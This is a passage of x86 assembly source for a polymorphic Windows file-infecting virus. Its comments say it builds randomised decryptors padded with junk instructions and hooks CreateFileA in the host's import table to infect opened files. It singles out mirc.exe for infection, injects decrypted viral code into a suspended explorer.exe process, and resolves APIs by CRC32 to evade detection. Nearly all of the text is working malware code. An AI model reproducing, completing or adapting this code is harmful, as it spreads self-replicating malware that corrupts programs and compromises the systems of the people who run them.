popad
mov al,byte ptr [ebp + random1]
and eax,0Fh
;;;;;;;;;;;;
Trash0:
or eax,eax
jnz Trash1
cmp ecx,4
jge ok0
callz trash
ret
ok0:
;xor esireg,ecxreg ;33h -> ins code  +  11xxxyyyb -> registers
;more trash
;xor esireg,ecxreg ;undo changes
sub ecx,4
mov eax,[ebp + esireg]
mov ebx,[ebp + ecxreg]
mov dl,0C0h
rol al,3
or  dl,al
or  dl,bl
mov al,33h
stosb
mov al,dl
stosb
push edx
callz trash
pop  edx
mov al,33h
stosb
mov al,dl
stosb
ret
;;;;;;;;;;;;
Trash1:
dec eax
or eax,eax
jnz Trash2
cmp ecx,6
jge ok1
callz trash
ret
ok1:
;push esireg
;push ecxreg
;push xx
;more trash
;pop  xx
;pop  ecxreg
;pop  esireg
sub ecx,6
mov eax,[ebp + esireg]
mov ebx,[ebp + ecxreg]
mov dl,[ebp + random2]
and dl,7
add al,50h
add bl,50h
add dl,50h
push eax
push ebx
push edx
stosb
mov al,bl
stosb
mov al,dl
stosb
callz trash
pop eax
add eax,8
stosb
pop eax
add eax,8
stosb
pop eax
add eax,8
stosb
ret
```

```
;;;;;;;;;;;;
Trash2:
dec eax
or eax,eax
jnz Trash3

mov al,90h;nop
stosb
dec ecx
callz trash

ret
;;;;;;;;;;;;
Trash3:
dec eax
or eax,eax
jnz Trash4

mov al,0F9h;stc
stosb
dec ecx
callz trash

ret
;;;;;;;;;;;;
Trash4:
dec eax
or eax,eax
jnz Trash5

mov al,0F8h;clc
stosb
dec ecx
callz trash

ret
;;;;;;;;;;;;
Trash5:
dec eax
or eax,eax
jnz Trash6

mov al,0F5h;cmc
stosb
dec ecx
callz trash

ret
;;;;;;;;;;;;
Trash6:
dec eax
or eax,eax
jnz Trash7
cmp ecx,2
jge ok6
callz trash
ret
ok6:
mov eax,[ebp + esireg]
add al,40h
stosb
dec ecx
dec ecx
callz trash
mov eax,[ebp + esireg]
add al,48h
stosb
ret

;;;;;;;;;;;;
Trash7:
dec eax
or eax,eax
jnz Trash8

mov al,90h;0FAh;cli ;damn damn damn in NT cli is privileged :'(
stosb
dec ecx
callz trash
ret

;;;;;;;;;;;;
Trash8:
dec eax
or eax,eax
jnz Trash9
```

```
cmp ecx,6
jge ok8
callz trash
ret
ok8:
sub ecx,6
mov al,0C1h
stosb
mov al,0C0h
mov ebx,[ebp + ecxreg]
or al,bl
stosb
mov al,byte ptr[ebp + random2]
stosb
push eax
callz trash
mov al,0C1h
stosb
mov al,0C8h
mov ebx,[ebp + ecxreg]
or al,bl
stosb
pop eax
stosb
ret

;;;;;;;;;;;;
;;;;;;;;;;;;
Trash9:
dec eax
or eax,eax
jnz TrashA
cmp [ebp + esireg],0
je nook9
cmp [ebp + ecxreg],0
je nook9
mov al,0d6h; SALC
stosb
dec ecx
nook9:
callz trash
ret

;;;;;;;;;;;;
;;;;;;;;;;;;
TrashA:
dec eax
or eax,eax
jnz TrashB
cmp ecx,2
jge okA
callz trash
ret
okA:
xor eax,eax
mov al,[ebp + random3]
cmp eax,[ebp + esireg];no ecxreg
je nookA
cmp eax,[ebp + ecxreg];no esireg
je nookA
cmp al,4;no esp
je nookA
or  al,al;no eax becoz opcode is different becoz some instruct. are optimizated for eax.
jz nookA
mov bl,[ebp + random2]
and ebx,7
push eax
mov al,byte ptr[ebp + ebx + opcodesA]
stosb
pop eax
mov bl,[ebp + random1]
rol bl,cl
and bl,7
rol al,3
or al,0C0h
or al,bl
stosb
dec ecx
dec ecx
callz trash
ret
nookA:
callz trash
ret
opcodesA:
db 2bh;sub
db 1bh;sbb
db 13h;adc
```

```
db 03h;add
db 23h;and
db 3bh;cmp
db 8bh;mov
db 0bh;or
db 85h;test

;;;;;;;;;;;;
;;;;;;;;;;;;
TrashB:
;nothing,only call trash again
callz trash

NoTrash:
ret

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
randomize:;a pseudorandom number generator...its a few bad :P i could have searched something
            ;about random generators but i was tired in that moment ;P so i coded this short
            ;and not very efficient function...however i like it :-m
mov ecx,0001FFFFh
WaitAFew:
nop
loop WaitAFew
mov eax,[ebp + kernel]
GezApi eax,GetTickCountCRC,GTCNameLen
call eax
mov byte ptr [ebp + random1],al
mov ecx,[ebp + CryptKey]
rol eax,cl
mov byte ptr [ebp + random2],al
mov ecx,[ebp + CryptKey]
rol eax,cl
and eax,7
mov byte ptr [ebp + random3],al

ret
random1 db 0
random2 db 0
random3 db 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;all this functions receive as parameter edi pointing to code where we must write polimorphed
;code and return edi pointing to next byte where we have writed
;for now,for useful instructions of decryptor,only is changed the used registers,intruction
;is not changed by other.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;zpop poly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
zpop:
mov eax,[ebp + esireg]
add al,58h
stosb
ret
A1:
A2:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;zadd poly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
zadd:
mov eax,[ebp + esireg]
or eax,eax
jnz noeaxreg
lea esi,[ebp + B2]
mov ecx,B3 - B2
rep movsb
ret
noeaxreg:
lea esi,[ebp + B1]
mov bl,byte ptr [ebp + B1 + 1]
and bl,0F8h
or  bl,al
mov byte ptr [ebp + B1 + 1],bl
mov ecx,B2 - B1
rep movsb
ret
B1:
add esi,Encrypted - DkRyPtIt
B2:
add eax,Encrypted - DkRyPtIt
B3:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
```

```
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;zmov poly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
zmov:
mov eax,[ebp + ecxreg]
lea esi,[ebp + C1]
add byte ptr [esi],al
mov ecx,C2 - C1
rep movsb
mov byte ptr [ebp + C1],0B8h
ret
C1:
mov eax,((EVirus - Encrypted)/4)
C2:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;zxor poly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
zxor:
lea esi,[ebp + D2 - 4]
mov ecx,[ebp + CryptKey]
mov [esi],ecx
mov cl,byte ptr [esi - 2]
mov eax,[ebp + ecxreg]
mov ebx,[ebp + esireg]
rol eax,3
or  al,bl
and cl,0C0h
or  al,cl
mov byte ptr [esi - 2],al
lea esi,[ebp + D1]
mov ecx,D2 - D1
rep movsb
ret
D1:
xor dword ptr [eax + edx*4 - 4],12345678h
;81h 74h (important byte) FCh KEY
;we must change registers in the important byte
D2:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;zdec poly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
zdec:
mov eax,[ebp + ecxreg]
add al,48h
stosb
ret
E1:
E2:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;zor poly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
zor:
mov ecx,[ebp + ecxreg]
mov eax,ecx
rol eax,3
or  al,cl
or  al,0C0h
mov byte ptr [ebp + F1 + 1],al
lea esi,[ebp + F1]
mov ecx,F2 - F1
rep movsb
ret
F1:
or  ecx,ecx
F2:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;HookCreateFileA hooks CreateFileA api for current host and when host call CreateFileA
;then hook-code take control and infect the file than is passed to CreateFileA as parameter.
;
;
;in:
;    eax = kernel
;out:
;    none
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
HookCreateFileA:
```

```
pushad
mov dword ptr [ebp + kernel],eax
GezApi eax,GetModuleHandleACRC,GMHNameLen
push 0
call eax
;eax = this module
mov edx,[eax + 3ch]
add edx,eax
mov edx,[edx + 80h];IAT
add edx,eax
mov ebx,eax
;edx -> IAT
;ebx -> MZ
sub edx,14h
SearchInIAT:
add edx,14h
mov esi,[edx + 0ch];name of dll
or  esi,esi
jz  endHook;if last and no found then we go out...however its very unprobable program doesnt
            ;import no functions from kernel
add esi,ebx
mov ecx,8
lea edi,[ebp + kernelBuf]
rep movsb
mov ecx,8
toLower:
dec edi
or  byte ptr [edi],20h ;becoz i have CRC of 'kernel32' string and ill search with CRC
loop toLower
mov esi,edi
mov edi,8
push edx
push ebx
call CRC32
pop  ebx
pop  edx
cmp  eax,Kernel32CRC
jne  SearchInIAT
;edx = kernel entry in IAT
push edx
mov  edx,[edx]
add  edx,ebx
;edx = array of names of kernel32
push edx
sub  edx,4
SearchCreateFileA:
add  edx,4
mov  esi,[edx];name of api
or   esi,esi
jz   endHookWithPop ;if last and no found CreateFileA we go out
add  esi,ebx
inc  esi
inc  esi
CalcLenString
;esi -> name
;ecx = len
mov edi,ecx
push edx
push ebx
call CRC32 ;i search CreateFile by CRC too
pop  ebx
pop  edx
cmp  eax,CreateFileACRC
jne  SearchCreateFileA
pop  ecx;start of array
sub  edx,ecx
pop  eax
mov  eax,[eax + 10h]
add  eax,edx
add  eax,ebx
;dword ptr [eax] = dir of CreateFileA
;we must overwrite this dir with our hook rutine ;)
;i think that unprotect mem its not necessary becoz loader must write that dir
;however ill unprotect it
push eax
mov esi,eax
mov eax,[ebp + kernel]
mov ecx,4
xor ebx,ebx
callz UnprotectMem
pop eax
lea esi,[ebp + HookRutine]
mov dword ptr [eax],esi ;i put over CreateFileA dir my hook rutine dir ;)
mov eax,[ebp + kernel]
GezApi eax,CreateFileACRC,CFNameLen
mov [ebp + CreateFileADir],eax    ;ill need in hook rutine
mov eax,[ebp + kernel]
GezApi eax,FindFirstFileACRC,FFFNameLen
```

```
mov [ebp + FindFirstFileADir],eax ;ill need it in hook rutine and i wanna be fast so ill
                                  ;calc it here and i keep it
jmpz endHook
endHookWithPop:
pop eax
endHook:
popad
ret

kernelBuf db 8 dup (?)

HookRutine:
push eax
pushad
pushfd
callz HookdOff
HookdOff:
pop ebp
sub ebp,offset HookdOff
mov eax,[ebp + CreateFileADir]
mov [esp + 24h],eax ;for next ret jumps CreateFileA
mov eax,[esp + 2Ch];file
lea ebx,[ebp + WIN32_FIND_DATA]
push ebx
push eax
call dword ptr [ebp + FindFirstFileADir]
xor eax,eax
inc eax
;callz InfectIt

popfd
popad
ret;i have push eax but later i have change [esp + 24h] to CreateFileA dir so
   ;with a ret program will jmp to CreateFileA ;)

CreateFileADir    dd 0
FindFirstFileADir dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;TestFile will test WIN32_FIND_DATA to see if current file found is mirc.exe or other
;typical irc programs and later infect them with per-process characteristic.
;In addition it tests if file is explorer.exe for not infection.
;
;in:none
;
;out: eax = 1 infect with per-process / eax = 0 not necesary perprocess  / eax = -1 no infect
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
TestFile:

;When i began to code perprocess part i though to search recursively some programs
;in hard disk(mirc.exe,messenger and others) for infecting it with perprocess,but finally
;i decide if i found some of that programs,then i infect them with perprocess but i
;dont search them.I think if i infect some specific programs with perprocess for
;increasing infection capability im not coding a worm,however if i search programs for
;modifing them for virus was sent by irc or mail or other,then im coding a worm.This is
;only a mania,i dont want my virus was a worm :P,only that.

mircCRC     equ 7c55758dh  ; CRC of 'mirc.exe'
explorerCRC equ 0be037055h ; CRC of 'explorer.exe'



lea esi,[ebp + WFD_szFileName]
CalcLenString
push ecx
add ecx,esi
push esi
dec esi
ToLowerFileName:
inc esi
cmp esi,ecx
je EndToLower
cmp byte ptr [esi],'A'
jb ToLowerFileName
cmp byte ptr [esi],'Z'
jg ToLowerFileName
or byte ptr [esi],20h
jmp ToLowerFileName
EndToLower:
pop esi
pop edi
callz CRC32
;eax = CRC of file name
```

```
cmp eax,mircCRC
je  retPerProcess
cmp eax,explorerCRC
je  retNoInfect

xor eax,eax
ret

retPerProcess:
xor eax,eax
inc eax
ret

retNoInfect:
xor eax,eax
dec eax
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Pad:
PADDING equ  4 -(((Pad - SCode) - (4*((Pad - SCode)/4))))
db PADDING dup (0)
;code size its a multiple of 4 becoz encryption reasons.


ECode:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

MyEntryPoint:

;HERE EXECUTION BEGINS!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

;vvvvvvvvvvvvvvvvvvpolymorphed
callz DkRyPtIt
DkRyPtIt:
pop esi
add esi,Encrypted - DkRyPtIt
mov ecx,((EVirus - Encrypted)/4)
GoGoGo:
xor dword ptr [esi + ecx*4 - 4],12345678h
dec ecx
or  ecx,ecx
jnz GoGoGo
endDKR:
PADDKR equ 200 - (endDKR - MyEntryPoint)
db PADDKR dup (90h) ;dekryptor has always 200 bytes :'(
;^^^^^^^^^^^^^^^^^^polymorphed

Encrypted:

call d_offset
d_offset:
pop  ebp
sub ebp,offset d_offset
pop  eax
push eax
xor  ax,ax
add  eax,1000h
;eax -> a part of kernel32
SearchKernel:
sub  eax,1000h
cmp  word ptr [eax],'ZM'
jne  SearchKernel


;callz DetectSICE

push eax
callz InjectToExplorer ;ill run other part of code in explorer.exe
pop eax

pushad
mov ebx,dword ptr [ebp + SCode]
cmp ebx,000000E8h
jne NoHook
;if part of explorer injected code its uncrypted before copying it to explorer then
;we can hook CreateFileA api ;)
callz HookCreateFileA
NoHook:
popad

pushad
```

```
callz NTInvasion ;/
popad

EndFirstPart:

cmp dword ptr [ebp + OldEntryPoint],0
je  endit

;here we restore EPO bytes and jmp there

push eax
GezApi eax,GetModuleHandleACRC,GMHNameLen
push 0
call eax
mov ebx,eax
pop eax
mov esi,[ebp + OldEntryPoint]


add esi,ebx
push esi
mov ecx,EPOCodeSize
xor ebx,ebx
callz UnprotectMem
pop esi
mov edi,esi
push esi
lea esi,[ebp + EPORestoreBytes]
mov ecx,EPOCodeSize
rep movsb
pop esi
jmp esi
endit: ;only first gen...in second we return to host
push 0
call ExitProcess

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

OldEntryPoint   dd 0
EPORestoreBytes db EPOCodeSize dup(0)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;Loads and injects to explorer the viral code and execute it.
;in:
;   eax = Base Kernel
;out:
;   none
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

InjectToExplorer:;only in 9x
mov ecx,cs
xor cl,cl
or ecx,ecx
jne ContinueInjecting
ret
ContinueInjecting:
push eax;we save kernel base
;now ill create a new process but stopped...createprocess has a option
;to create the process stopped and you can to force it to continue later.So ill
;create this new process and after ill infect in memory it with this code but
;uncryting encrypted parts.
callz LoadExplorer9x
;   eax = handle to process
;   ebx = process ID
;   ecx = offset of primary module(.exe module)
;   edx = size of module in bytes
;   esi = primary thread handle
;   edi = primary thread ID
pushad
mov ebx,eax        ;handle of process
mov eax,[esp + 32] ;base of kernel
mov esi,ecx        ;offset of module
mov ecx,edx        ;size of module
;now we unprotect new process mem
callz UnprotectMem
;esp -> threadID/+4 hThread/+16 processID/+20 sizeMod/+24 offMod/+28 hProcess/+32 KernelBase
;now i must search entry point of new process
;Readz macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
mov eax,[esp + 32];BaseKernel
mov ebx,[esp + 28];hProcess
mov ecx,[esp + 24];OffsetInProc
add ecx,3ch       ;for reading lfanew
push 0            ;space for reading lfanew value
mov edx,esp       ;Buffer
pushad
Readz eax,ebx,ecx,edx,4
popad
```

```
pop esi           ;lfanew
sub ecx,3ch
add ecx,esi       ;lfanew + module
add ecx,28h       ;lfanew + module + 28h for reading entryPoint
push 0            ;space for reading lfanew value
mov edx,esp       ;Buffer
pushad
Readz eax,ebx,ecx,edx,4
popad
pop edi
mov ecx,[esp + 24];OffsetInProc
add edi,ecx
;edi = entryPoint in module in new process

;we encrypted Code with random key since FFFF0000h to FFFFFFFFh so
;now we must search the key using brute force
xor ecx,ecx
mov edx,dword ptr [ebp + SCode]
WhatKey:
xor edx,ecx
cmp edx,000000E8h
je  KeyFound
xor edx,ecx
loop WhatKey
KeyFound:
mov edx,ecx
;edx = key
lea esi,[ebp + SCode]
mov ecx,((ECode - SCode)/4)

;and now we will write the code to new process uncrypting it while

WriteCode:
pushad
push dword ptr [esi]
xor dword ptr [esp],edx
mov esi,esp
Writez eax,ebx,edi,esi,4
pop esi
popad
add esi,4
add edi,4
loop WriteCode
sub esi,ebp
cmp esi,offset EVirus
je  CodeCopied
add esi,ebp
mov ecx,((EVirus - ECode)/4)
xor edx,edx
jmpz WriteCode

CodeCopied:

;here we must have copied all code and now we must start execution of thread
;esp -> threadID/+4 hThread/+16 processID/+20 sizeMod/+24 offMod/+28 hProcess/+32 KernelBase

mov eax,[esp + 32]
GezApi eax,ResumeThreadCRC,RTNameLen
;eax -> ResumeThread
push dword ptr [esp + 4];Thread Handle
call eax


add esp,32
pop eax

ret

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;UnprotectMem sets as writable zone since esi to esi + ecx in ebx process.
;in:
;   eax -> base of kernel
;   esi -> dir of memory that will be writable.
;   ecx -> bytes of that memory.
;   ebx -> handle of the process where is the memory.If 0 this process
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
UnprotectMem:

or ebx,ebx
jne NoThisProcess
push eax
push esi
push ecx
```

```
GezApi eax,GetCurrentProcessCRC,GCPNameLen
;eax -> GetCurrentProcess
call eax
;eax = hand of this process
mov  ebx,eax
pop  ecx
pop  esi
pop  eax
NoThisProcess:
push ebx
push esi
push ecx
GezApi eax,VirtualProtectExCRC,VPNameLen
;eax -> VirtualProtectEx
pop ecx
pop esi
pop ebx
;ebx = hand of process
;esi = dir
;ecx = nbytes
push eax ;space for receiving lpflOldProtect out parameter
push esp
push PAGE_EXECUTE_READWRITE
push ecx
push esi
push ebx
call eax
pop  eax ;we remove space that we reserve in the stack for out parameter
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;




;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;CRC32 rutine(from Billy Belcebu tutorial)...i have not said him nothing about i have take
;his rutine but i dont know him...in addition i have seen this rutine in other viruses
;so i think he doesnt go angry if i use it :)
;
;in:esi -> start of buffer
;   edi = size of buffer
;out:
;   eax = cksum
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
CRC32:
        cld
      xor     ecx,ecx
      dec     ecx
        mov     edx,ecx
NextByteCRC:
        xor     eax,eax
        xor     ebx,ebx
        lodsb
      xor     al,cl
      mov     cl,ch
        mov     ch,dl
        mov     dl,dh
        mov     dh,8
NextBitCRC:
        shr     bx,1
        rcr     ax,1
        jnc     NoCRC
        xor     ax,08320h
        xor     bx,0EDB8h
NoCRC:
      dec     dh
        jnz     NextBitCRC
        xor     ecx,eax
        xor     edx,ebx
      dec     edi
        jnz     NextByteCRC
        not     edx
        not     ecx
        mov     eax,edx
        rol     eax,16
        mov     ax,cx
        ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;




;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;GetApi gets a api address from its crc.
;in:
;   eax -> base of dll
```

```
;   edx = the crc32 of api to search.
;   ebx = api name len.
;out:
;   eax -> function
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetApi:
;eax -> base of dll
;ebx = len api name
;edx = crc of api name
push ebx ecx edx esi edi
push eax
mov eax,[eax + 3ch]
add eax,dword ptr [esp]
;eax -> PE
mov eax,[eax + 78h]
add eax,dword ptr [esp]
;eax -> Export table
push eax
push ebx
mov  ebx,[eax + 20h]
add  ebx,dword ptr [esp + 8]
;ebx -> Name of functions
push ebx
sub  ebx,4
SearchApiByCRC:
add  ebx,4
mov  esi,[ebx]
add  esi,dword ptr [esp + 12]
CalcLenString
;ecx = length api.name
mov  edi,[esp + 4]
cmp  edi,ecx
jne  SearchApiByCRC
mov  edi,ecx
push ebx
push edx
callz CRC32
pop  edx
pop  ebx
cmp  eax,edx
jne  SearchApiByCRC
pop  edi
;edi -> name of functions
;ebx -> name of functions + (index of our api * 4)
sub ebx,edi
mov eax,ebx
xor edx,edx
mov ebx,4
div ebx
;eax = index of our api
pop ebx
pop ebx
;ebx -> export
mov ecx,[ebx + 24h]
add ecx,dword ptr [esp]
;ecx -> name ordinals
rol eax,1
add ecx,eax
mov ecx,[ecx]
shr ecx,10h
dec ecx
;ecx = ordinal
mov eax,[ebx + 1ch]
add eax,dword ptr [esp]
;eax -> address of functions
rol ecx,2
add eax,ecx
mov eax,[eax]
add eax,dword ptr [esp]
;eax = address of function searched
pop ebx
pop edi edi edx ecx ebx
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;LoadExplorer9x creates a new process suspended with explorer.exe in 9x
;
;I learned how to use ToolHelp32 and psapi thx to Win32.Dengue so i must say thx to GriYo :)
;I havent copied code! ... i have read it and i have learned from it :)
;
;in:
;   eax = base of kernel
;out:
;   eax = handle to process
;   ebx = process ID
```

```
;   ecx = offset of primary module(.exe module)
;   edx = size of module in bytes
;   esi = primary thread handle
;   edi = primary thread ID
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
LoadExplorer9x:

;Note that though we create a process
;from a module from windows directory we specify to CreateProcess that
;working directory is same than calling process,this process,so we can search
;here a file to infect it.

push   eax ;kernel base saved
sub    esp,200
mov    esi,esp
callz  GetExplorer

;ecx = number of read bytes
push   ecx ;we save it
mov    eax,dword ptr [esp + 204];eax = base kernel
GezApi eax,CreateProcessACRC,CPNameLen
;eax -> CreateProcessA
mov ecx,(STARTUPINFOSIZE + PROCESSINFORMATIONSIZE)/4
xor edx,edx
SaveSpace9x:
push edx
loop SaveSpace9x
;esp -> Process Information structure
;esp + PROCESSINFORMATIONSIZE -> startupinfo structure
;[esp + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE] = len of name of module
;esp + 4 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE -> name of module
;[esp + 204 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE] = base of kernel
mov dword ptr [esp + PROCESSINFORMATIONSIZE],64;size of startupinfo
mov edx,esp
push edx;process information
add  edx,PROCESSINFORMATIONSIZE
push edx;startupinfo
push 0
push 0
push CREATE_SUSPENDED or CREATE_NEW_PROCESS_GROUP
push 0
push 0
push 0
push 0
add  edx,4 + STARTUPINFOSIZE
push edx;name of module
call eax;CreateProcessA
;we have created the suspended process
;[esp] = handle to new process
;[esp + 4]  = handle to primary thread(suspended)
;[esp + 8]  = Id of process
;[esp + 12] = Id of thread
;now i must search the primary module of the process.
mov eax,[esp + 204 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE]
;eax = base of kernel
GezApi eax,CreateToolhelp32SnapShotCRC,CT32SNameLen
;eax -> CreateToolhelp32Snapshot
mov ebx,[esp + 8]
;ebx = handle to process
push ebx
push TH32CS_SNAPMODULE
call eax
;eax = snapshot
;we have create the snapshot and now we will search the module that we need.
sub esp,548
;we will reserve space for MODULEENTRY32
mov dword ptr[esp],548 ;sizeof MODULEENTRY32
mov ecx,eax
;ecx = snapshot
mov [esp + 548 + PROCESSINFORMATIONSIZE + SNAPSHOT],ecx;we save it
mov eax,[esp + 548 + 4 + 200 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE]
;eax = base of kernel
push eax
GezApi eax,Module32FirstCRC,M32FNameLen
mov  edx,esp
add  edx,4
push edx
push ecx
call eax
